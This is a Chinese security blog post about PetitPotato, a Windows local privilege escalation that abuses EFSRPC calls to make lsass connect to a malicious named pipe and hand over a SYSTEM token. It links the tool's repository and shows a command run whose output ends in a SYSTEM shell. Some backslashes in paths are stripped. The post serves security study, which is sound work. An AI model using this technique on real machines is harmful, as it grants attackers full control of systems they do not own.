Windows提权之PetitPotato

admin 2023年3月23日02:35:43评论104 views字数 1553阅读5分10秒阅读模式

影响范围

Windows 21H2 10.0.20348.1547

漏洞类型

本地提权

漏洞概述

2021年12月微软发布了一个针对不同EFSRPC漏洞的补丁CVE-2021-43217,Microsoft对EFSRPC通信实施了一些强化措施,特别是在使用EFSRPC时,EFSRPC客户端需要使用RPC_C_AUTHN_LEVEL_PKT_PRIVACY,如果客户端未能做到这一点则客户端将被拒绝,并生成一个Windows应用程序事件,这里的MS-EFSR是一种用于对远程存储并通过网络访问的加密数据执行维护和管理操作的协议,该协议有一系列类似EfsRpcOpenFileRaw的API,例如:

long EfsRpcOpenFileRaw(   [in] handle_t binding_h,   [out] PEXIMPORT_CONTEXT_HANDLE* hContext,   [in, string] wchar_t* FileName,   [in] long Flags);

这种API可以通过FileName参数指定UNC路径以打开服务器上的加密对象进行备份或恢复,当指定格式为\IPC$的路径时,lsass.exe服务将使用NT AUTHORITY系统帐户权限访问\IPpipesrvsvc,如果我们可以调用EfsRpcOpenFileRaw API来强制本地计算机连接到我们创建的恶意命名管道,那么我们就可以模拟命名管道客户端进程并最终获得SYSTEKM权限,但由于相关补丁的限制,使得旧的PetitPotam无法在新版本的Windows上运行,但是在调用EFS之前可以通过RpcBindingSetAuthInfoW将AuthnLevel设置为RPC_C_AUTHN_LEVEL_PKT_PRIVACY在最新的系统上有效

漏洞复现

项目地址:https://github.com/wh0amitz/PetitPotato

C:UsersAdministratorDesktop>PetitPotato.exe 3 cmd
[+] Malicious named pipe running on \.pipepetitpipesrvsvc.[+] Invoking EfsRpcQueryUsersOnFile with target path: \localhost/pipe/petitC$wh0nqs.txt.[+] The connection is successful.[+] ImpersonateNamedPipeClient OK.[+] OpenThreadToken OK.[+] DuplicateTokenEx OK.[+] CreateProcessAsUser OK.Microsoft Windows [Version 10.0.20348.1547](c) Microsoft Corporation. All rights reserved.
C:Windowssystem32>whoamint authoritysystem
C:Windowssystem32>

Windows提权之PetitPotato

参考链接

https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

https://itm4n.github.io/from-rpcview-to-petitpotam/#exploring-the-efsrpc-interface-with-rpcview

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31

原文始发于微信公众号(七芒星实验室):Windows提权之PetitPotato

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月23日02:35:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows提权之PetitPotatohttps://cn-sec.com/archives/1622884.html

发表评论

匿名网友 填写信息